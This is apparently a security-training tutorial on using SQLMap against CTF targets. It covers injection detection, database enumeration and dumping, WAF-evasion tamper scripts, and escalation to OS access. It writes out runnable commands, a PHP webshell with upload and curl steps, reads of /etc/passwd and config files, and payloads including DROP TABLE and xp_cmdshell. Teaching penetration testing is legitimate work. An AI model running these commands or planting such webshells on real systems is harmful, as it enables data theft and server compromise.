kavklaw@llm $ sqlmap --wizard
SQL Injection Automation — From Detection to Full Database Compromise
SQLMap is the de facto standard open-source tool for automated SQL injection detection and exploitation. SQL injection (SQLi) is a vulnerability where you can insert database commands into a website's input fields, tricking the server into running your queries. Written in Python, SQLMap supports virtually every major RDBMS (Relational Database Management System) — MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, MariaDB, and many more. Instead of manually crafting injection payloads, SQLMap does the heavy lifting: it identifies injection points, determines the database backend, enumerates databases/tables/columns, dumps data, and can even escalate to operating-system-level access.
But here's the critical thing that separates script kiddies from actual pentesters: SQLMap is a tool, not a strategy. You should understand how SQL injection works manually before relying on automation. If you can't explain what a UNION-based injection does, you're going to miss edge cases, trigger WAFs unnecessarily, and waste time. Use this guide alongside our SQL Injection Cheat Sheet to build that foundation.
If you just want to get started fast, here's the absolute minimum to test a URL for SQL injection. You point SQLMap at a URL with a parameter (like ?id=1), and it automatically tries dozens of injection techniques to see if the parameter is vulnerable:
# Test a GET parameter for SQLi
sqlmap -u "http://target.htb/page?id=1"
# Test with more aggressive detection
sqlmap -u "http://target.htb/page?id=1" --level 3 --risk 2
# If vulnerable, enumerate databases
sqlmap -u "http://target.htb/page?id=1" --dbs
# Dump a specific table
sqlmap -u "http://target.htb/page?id=1" -D webapp -T users --dump
That's the 30-second version. Keep reading for the methodology that actually works in the real world.
SQLMap comes pre-installed on Kali Linux and Parrot OS. It requires Python 3.x — no additional dependencies. If you need to install it manually:
# Clone from GitHub (always latest — recommended)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py -h
# Or via apt on Debian/Ubuntu
sudo apt install sqlmap
# Or install via pip (less recommended — may be outdated)
pip3 install sqlmap
# Check your Python version (3.x required)
python3 --version
💡 Pro tip: Always use the GitHub version for CTFs and engagements. The apt/pip versions can lag behind, and new tamper scripts and techniques are added regularly. A quick git pull inside the sqlmap directory keeps you current.
The most common scenario — you have a URL with a query parameter that might be injectable:
# Test a single parameter
sqlmap -u "http://target.htb/products?id=5"
# Test a specific parameter (if URL has multiple)
sqlmap -u "http://target.htb/search?category=electronics&sort=price" -p category
# Force testing all parameters
sqlmap -u "http://target.htb/search?q=test&page=1&sort=name" --level 5
Login forms, search boxes, and API endpoints often use POST requests:
# Specify POST data with --data
sqlmap -u "http://target.htb/login" --data="username=admin&password=test"
# Test only the username parameter
sqlmap -u "http://target.htb/login" --data="username=admin&password=test" -p username
# JSON POST body
sqlmap -u "http://target.htb/api/search" --data='{"query":"test","limit":10}' --content-type="application/json"
Many applications require authentication or use session cookies:
# Pass cookies
sqlmap -u "http://target.htb/dashboard?id=1" --cookie="session=abc123; role=user"
# Test injection in cookie values themselves
sqlmap -u "http://target.htb/dashboard" --cookie="user_id=1*" --level 2
# The * marks the injection point
# Custom headers
sqlmap -u "http://target.htb/api/data" --headers="Authorization: Bearer eyJhbG..."
# Test injection in a header value
sqlmap -u "http://target.htb/log" --headers="X-Forwarded-For: 127.0.0.1*"
This is the most reliable method for complex requests. Intercept the request in Burp Suite, right-click → "Copy to file", then feed it to SQLMap:
# Save your Burp request to a file (request.txt):
# POST /api/v2/search HTTP/1.1
# Host: target.htb
# Cookie: session=abc123
# Content-Type: application/x-www-form-urlencoded
#
# query=test&category=all
# Feed it to sqlmap
sqlmap -r request.txt
# Test a specific parameter from the saved request
sqlmap -r request.txt -p query
# Works with complex multipart, JSON, XML — everything
sqlmap -r request.txt --level 3 --risk 2
💡 Pro tip: Using -r with a saved request file is the recommended approach for anything beyond trivial GET parameters. It preserves all headers, cookies, content types, and formatting exactly as the application expects them. This is especially important for APIs with JWT tokens or CSRF tokens.
SQLMap uses five distinct techniques to detect and exploit SQL injection. Don't worry if these look complicated; you don't need to memorize them. SQLMap picks the best technique automatically. Understanding what each one does helps you interpret output and troubleshoot when detection fails.
SQLMap sends payloads that create TRUE/FALSE conditions and compares the page response to determine if the injection worked:
# What SQLMap does internally:
# Original: /page?id=1 → Normal page (TRUE baseline)
# Test: /page?id=1 AND 1=1 → Same page? TRUE → injectable
# Test: /page?id=1 AND 1=2 → Different page? FALSE → confirmed
# This is BLIND because data doesn't appear in the response
# SQLMap extracts data one bit at a time:
# /page?id=1 AND SUBSTRING(database(),1,1)='a' → different page → not 'a'
# /page?id=1 AND SUBSTRING(database(),1,1)='b' → different page → not 'b'
# ... until it finds a match
Forces the database to produce error messages that contain data. Much faster than blind because you get data directly in error output:
# MySQL example:
# /page?id=1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))
# Error: "XPATH syntax error: '~webapp~'"
# ^^^^^^^^ leaked database name!
# MSSQL example:
# /page?id=1 AND 1=CONVERT(int, (SELECT DB_NAME()))
# Error: "Conversion failed when converting 'webapp' to int"
Appends a UNION SELECT to the original query. In SQL, UNION combines the results of two queries into one — so the attacker's query results appear alongside the legitimate data in the page output. The fastest technique when available:
# SQLMap first determines the number of columns:
# /page?id=1 ORDER BY 1 → OK
# /page?id=1 ORDER BY 2 → OK
# /page?id=1 ORDER BY 3 → OK
# /page?id=1 ORDER BY 4 → Error → 3 columns
# Then injects UNION SELECT:
# /page?id=-1 UNION SELECT 1,2,3 → see which columns display
# /page?id=-1 UNION SELECT 1,database(),3 → database name appears on page
When the page looks identical regardless of TRUE/FALSE, SQLMap uses time delays to infer results:
# MySQL:
# /page?id=1 AND SLEEP(5) → 5 second delay → injectable
# /page?id=1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)
# → 5 second delay? First char is 'a'
# → Instant response? Not 'a', try next
# This is the SLOWEST technique — each character requires multiple requests
# Extracting a 20-char string could take hundreds of requests
Injects entirely new SQL statements using semicolons. Not all DB/driver combinations support this, but when it works, it's incredibly powerful:
# /page?id=1; DROP TABLE users-- (destructive — never do this!)
# /page?id=1; INSERT INTO users VALUES('hacker','admin')--
# /page?id=1; EXEC xp_cmdshell('whoami')-- (MSSQL command execution)
# Stacked queries enable WRITE operations, not just reads
# This is how --os-shell works on MSSQL
These two flags control how aggressive SQLMap's testing is. Understanding them is essential:
OR 1=1 on an UPDATE/DELETE can modify or wipe data!# Default (safe, fast)
sqlmap -u "http://target.htb/page?id=1"
# More thorough (good for CTFs)
sqlmap -u "http://target.htb/page?id=1" --level 3 --risk 2
# Maximum detection (slow, potentially destructive)
sqlmap -u "http://target.htb/page?id=1" --level 5 --risk 3
# ⚠️ Risk 3 can modify data — never use on production systems
💡 Pro tip: For CTFs,--level 3 --risk 2is usually the sweet spot. Level 5 risk 3 is rarely needed and takes forever. If that doesn't find it, the injection point is probably more exotic — try using-rwith a Burp request and manually marking the injection point with*.
--data specifies POST parameters (not --post), and -p username tells SQLMap to only test the username parameter. Without -p, SQLMap would test every parameter sequentially which is slower. The URL should not contain POST data as query parameters. For complex requests, using -r with a saved Burp request file is even more reliable.--level and --risk combination for CTF challenges?--level 3 --risk 2 is the sweet spot. Level 3 tests cookies, User-Agent, and Referer headers with more payload variations. Risk 2 adds time-based tests. Risk 3 is dangerous because it uses OR-based payloads that can modify or delete data in UPDATE/DELETE statements. Level 5 is extremely slow and rarely necessary. For production systems, stick to risk 1.the back-end DBMS is MySQL. What technique is the fastest for extracting data?--technique=U to force UNION-only when you know it works. Stacked queries are powerful but not supported by all driver/DB combinations.Once SQLMap confirms injection, the fun begins — extracting everything from the database:
# Step 1: List all databases
sqlmap -u "http://target.htb/page?id=1" --dbs
# Output: [*] information_schema
# [*] webapp
# [*] mysql
# Step 2: List tables in a database
sqlmap -u "http://target.htb/page?id=1" -D webapp --tables
# Output: [*] users
# [*] posts
# [*] sessions
# Step 3: List columns in a table
sqlmap -u "http://target.htb/page?id=1" -D webapp -T users --columns
# Output: [*] id (int)
# [*] username (varchar)
# [*] password (varchar)
# [*] email (varchar)
# [*] role (varchar)
# Step 4: Dump the data
sqlmap -u "http://target.htb/page?id=1" -D webapp -T users --dump
# Output: Table with all user data, passwords auto-cracked if hashed
# Dump specific columns only
sqlmap -u "http://target.htb/page?id=1" -D webapp -T users -C username,password --dump
# Dump everything (all databases, all tables)
sqlmap -u "http://target.htb/page?id=1" --dump-all
# ⚠️ This can take a VERY long time on large databases
# Current database name
sqlmap -u "http://target.htb/page?id=1" --current-db
# Current database user
sqlmap -u "http://target.htb/page?id=1" --current-user
# Is the user a DBA (database admin)?
sqlmap -u "http://target.htb/page?id=1" --is-dba
# List database users and their password hashes
sqlmap -u "http://target.htb/page?id=1" --users --passwords
# Database banner (version info)
sqlmap -u "http://target.htb/page?id=1" --banner
# Count rows in a table (without dumping)
sqlmap -u "http://target.htb/page?id=1" -D webapp -T users --count
Tamper scripts modify SQLMap's payloads to bypass WAFs (Web Application Firewalls, security filters that sit in front of web applications and block suspicious requests) and input filters. They're important when basic injection fails because the application sanitizes your input.
# space2comment — replaces spaces with /**/
sqlmap -u "http://target.htb/page?id=1" --tamper=space2comment
# Result: UNION/**/SELECT/**/1,2,3
# between — replaces > with NOT BETWEEN 0 AND
sqlmap -u "http://target.htb/page?id=1" --tamper=between
# charencode — URL-encodes all characters
sqlmap -u "http://target.htb/page?id=1" --tamper=charencode
# randomcase — randomizes keyword case
sqlmap -u "http://target.htb/page?id=1" --tamper=randomcase
# Result: uNiOn SeLeCt
Other useful tamper scripts:
space2plus — replaces spaces with +space2hash — replaces spaces with # followed by newline (MySQL)equaltolike — replaces = with LIKEpercentage — adds % between each character (ASP/IIS specific)appendnullbyte — appends %00 null byte (old IIS/ASP bypass)# Use multiple tamper scripts together (comma-separated)
sqlmap -u "http://target.htb/page?id=1" --tamper=space2comment,randomcase,between
# Common WAF bypass combo
sqlmap -u "http://target.htb/page?id=1" --tamper=space2comment,charencode,randomcase --level 3
# For ModSecurity WAF
sqlmap -u "http://target.htb/page?id=1" --tamper=modsecurityversioned,modsecurityzeroversioned
# List all available tamper scripts
sqlmap --list-tampers
💡 Pro tip: If you're hitting a WAF, also try--random-agent(rotates User-Agent strings) and--delay=1(adds delay between requests to avoid rate limiting). Sometimes the WAF is blocking based on request frequency, not payload content.
When you have DBA (Database Administrator) privileges and the right database/OS combination, SQLMap can escalate from SQL injection to full operating system command execution.
# Get an interactive OS shell (requires DBA — Database Administrator — privileges)
sqlmap -u "http://target.htb/page?id=1" --os-shell
# How this works (MySQL example):
# 1. SQLMap writes a PHP webshell via SELECT ... INTO OUTFILE
# 2. The webshell is placed in the web root (the directory the web server serves files from)
# 3. SQLMap communicates with the webshell to execute commands
# For MSSQL:
# Uses xp_cmdshell stored procedure (a built-in function that runs OS commands)
# Requires DBA privileges (sa account = system administrator)
# You may need to specify the web root
sqlmap -u "http://target.htb/page?id=1" --os-shell --web-root="/var/www/html"
# Read files from the target system
sqlmap -u "http://target.htb/page?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.htb/page?id=1" --file-read="/var/www/html/config.php"
sqlmap -u "http://target.htb/page?id=1" --file-read="C:/Windows/System32/drivers/etc/hosts"
# MySQL uses LOAD_FILE() — requires FILE privilege (a MySQL permission
# that allows reading files from the server's filesystem)
# Files are saved locally in the sqlmap output directory
# Upload a webshell to the target
sqlmap -u "http://target.htb/page?id=1" --file-write="./shell.php" --file-dest="/var/www/html/shell.php"
# Create a shell.php first:
# <?php system($_GET['cmd']); ?>
# MySQL uses SELECT ... INTO OUTFILE — requires FILE privilege and
# the secure_file_priv variable must allow the destination directory
# After upload:
curl "http://target.htb/shell.php?cmd=id"
Sometimes the injection point and the result page are different. You inject on page A, but the payload executes when page B reads the stored data:
# --second-url: where to check for results after injecting
sqlmap -u "http://target.htb/register" \
--data="username=test*&password=test123" \
--second-url="http://target.htb/profile" \
--level 3
# Example scenario:
# 1. Registration form stores username in DB (injectable)
# 2. Profile page queries the DB with the stored username
# 3. SQLi executes on the profile page, not the registration
# Answer "yes" to all prompts automatically
sqlmap -u "http://target.htb/page?id=1" --batch
# Combine with specific technique to speed things up
sqlmap -u "http://target.htb/page?id=1" --batch --technique=U --dbs
# Only use UNION-based (fastest when available)
sqlmap -u "http://target.htb/page?id=1" --technique=U
# Only use boolean and error-based
sqlmap -u "http://target.htb/page?id=1" --technique=BE
# Technique letters: B(oolean), E(rror), U(nion), T(ime), S(tacked)
# Skip detection and tell SQLMap the DBMS
sqlmap -u "http://target.htb/page?id=1" --dbms=mysql
sqlmap -u "http://target.htb/page?id=1" --dbms=postgresql
sqlmap -u "http://target.htb/page?id=1" --dbms=mssql
sqlmap -u "http://target.htb/page?id=1" --dbms=sqlite
# This saves time by skipping fingerprinting
# Useful when you already know the backend from error messages
# Mark injection point with * in any position
# In URL path:
sqlmap -u "http://target.htb/api/users/1*/profile"
# In headers:
sqlmap -u "http://target.htb/" --headers="X-Custom: value*"
# In cookie:
sqlmap -u "http://target.htb/" --cookie="id=1*"
# In POST data:
sqlmap -u "http://target.htb/api" --data='{"id": "1*", "name": "test"}'
# Prefix and suffix (custom injection context)
sqlmap -u "http://target.htb/page?id=1" --prefix="')" --suffix="-- -"
# Increase threads (default: 1, max: 10)
sqlmap -u "http://target.htb/page?id=1" --threads 10
# Set timeout per request (seconds)
sqlmap -u "http://target.htb/page?id=1" --timeout 30
# Retry on connection errors
sqlmap -u "http://target.htb/page?id=1" --retries 3
# Limit output entries
sqlmap -u "http://target.htb/page?id=1" -D webapp -T users --dump --start 1 --stop 50
# Use specific technique (avoid slow time-based)
sqlmap -u "http://target.htb/page?id=1" --technique=BEU
# Optimize (combines -o flag optimizations)
sqlmap -u "http://target.htb/page?id=1" -o
# Flush session (start fresh, ignore cached results)
sqlmap -u "http://target.htb/page?id=1" --flush-session
# Verbose output (for debugging)
sqlmap -u "http://target.htb/page?id=1" -v 3
# v levels: 0=minimal, 1=default, 2=debug, 3=payloads, 4=HTTP requests, 5=HTTP responses, 6=page content
The Burp-to-SQLMap workflow is one of the most efficient approaches for web app testing:
# WORKFLOW:
# 1. Browse the target in Burp, identify potential injection points
# 2. Right-click the interesting request → "Save item" or "Copy to file"
# 3. Save as request.txt
# 4. Feed to SQLMap:
sqlmap -r request.txt --batch --level 3 --risk 2
# Using Burp as a proxy for SQLMap traffic (see what SQLMap sends)
sqlmap -u "http://target.htb/page?id=1" --proxy="http://127.0.0.1:8080"
# Now all SQLMap requests show up in Burp's HTTP history
# Great for understanding what SQLMap does and debugging issues
# Process Burp's sitemap log
sqlmap -l burp_log.txt --batch --smart
# --smart: only test forms that look injectable (heuristic)
SQLMap is powerful, but it's not always the right tool:
' OR 1=1--). You'll learn more and make less noise.💡 Real-world perspective: In penetration testing exams (like OSCP), you're expected to understand SQL injection manually. Pointing SQLMap at every parameter shows a lack of methodology. Use manual testing first, then SQLMap to accelerate exploitation when you've confirmed the vulnerability.
┌─────────────────────────────────────────────────────┐
│ SQLMap EXPLOITATION WORKFLOW │
└──────────────────────┬──────────────────────────────┘
▼
1. IDENTIFY ──────── Browse app, note inputs
injection points (URL params, POST, cookies, headers)
│
▼
2. MANUAL TEST ───── Try ' " 1 OR 1=1
first! Look for errors/behavior changes
│
▼
3. CAPTURE ─────── Save exact request in Burp
in Burp Right-click → Copy to file
│
▼
4. SQLMap -r ────── sqlmap -r request.txt
Start default, increase level/risk
│
▼
5. ENUMERATE ────── --dbs → --tables → --columns → --dump
progressively Only dump what you need!
│
▼
6. ESCALATE ─────── DBA? Try --os-shell, --file-read
Check credential reuse on SSH/services
', ", 1 OR 1=1, check for errors or behavioral changes-r — Start with defaults, then increase level/risk if needed--dbs → --tables → --columns → --dump (only dump what you need)--os-shell, --file-read for config files~/.local/share/sqlmap/output/-r with a Burp request file--batch flag — Interactive prompts can stall automated scans. Use --batch for unattended runs.-p to target the one you suspect is vulnerable.--flush-session to start fresh.--dbms=mysql to skip detection.--dump-all on a production DB will take hours and generate massive logs. Target specific tables.--proxy to monitor traffic — Route through Burp to understand what SQLMap sends. This is how you learn.# ─── DETECTION ───────────────────────────
-u URL # Target URL
-r FILE # Load HTTP request from file
--data=DATA # POST data
-p PARAM # Testable parameter(s)
--level=LEVEL # Tests to perform (1-5, default 1)
--risk=RISK # Risk of tests (1-3, default 1)
--technique=TECH # SQL injection techniques (BEUST)
--dbms=DBMS # Force DBMS type
# ─── ENUMERATION ─────────────────────────
--banner # DBMS banner
--current-user # Current DB user
--current-db # Current database
--is-dba # Is user a DBA?
--users # List DBMS users
--passwords # Dump password hashes
--dbs # List databases
--tables # List tables
--columns # List columns
--dump # Dump table data
--dump-all # Dump everything
-D DB # Target database
-T TABLE # Target table
-C COLUMNS # Target columns
# ─── OS ACCESS ───────────────────────────
--os-shell # Interactive OS shell
--os-cmd=CMD # Execute single OS command
--file-read=FILE # Read file from server
--file-write=LOCAL # Local file to upload
--file-dest=REMOTE # Remote destination path
# ─── TUNING ──────────────────────────────
--threads=N # Concurrent requests (1-10)
--delay=SECS # Delay between requests
--timeout=SECS # Request timeout
--retries=N # Retry on failure
--batch # Non-interactive mode
--flush-session # Clear cached session
--fresh-queries # Ignore cached query results
--tamper=SCRIPTS # Tamper script(s)
--proxy=URL # Proxy (e.g., Burp)
--random-agent # Randomize User-Agent
-o # Turn on optimizations
-v LEVEL # Verbosity (0-6)
--output-dir=DIR # Custom output directory
--dbs), then tables in the interesting database (-D webapp --tables), then columns in the target table (-D webapp -T users --columns), then dump only what you need (--dump). --dump-all is wasteful — it dumps every database including system tables and can take hours. Only dump the specific data you need.space2comment replaces all spaces with SQL comments (/**/), turning UNION SELECT into UNION/**/SELECT. SQL ignores comments between keywords, but the WAF no longer matches the space-based pattern. For a comprehensive bypass, chain multiple tamper scripts: --tamper=space2comment,randomcase,between. Each tamper targets a different filter rule.-r request.txt loads the complete HTTP request from a file — preserving all headers, cookies, content types, and formatting exactly as the application expects. This is the recommended approach for anything beyond simple GET requests, especially for APIs with JWT tokens, CSRF tokens, or complex multipart bodies. Save the request from Burp (right-click → Copy to file), then feed it to SQLMap.--os-shell gives you an interactive operating system shell. For MySQL, it works by writing a PHP webshell via SELECT INTO OUTFILE. For MSSQL, it uses the xp_cmdshell stored procedure. Both require DBA privileges. You can also use --file-read to read system files and --file-write + --file-dest to upload files.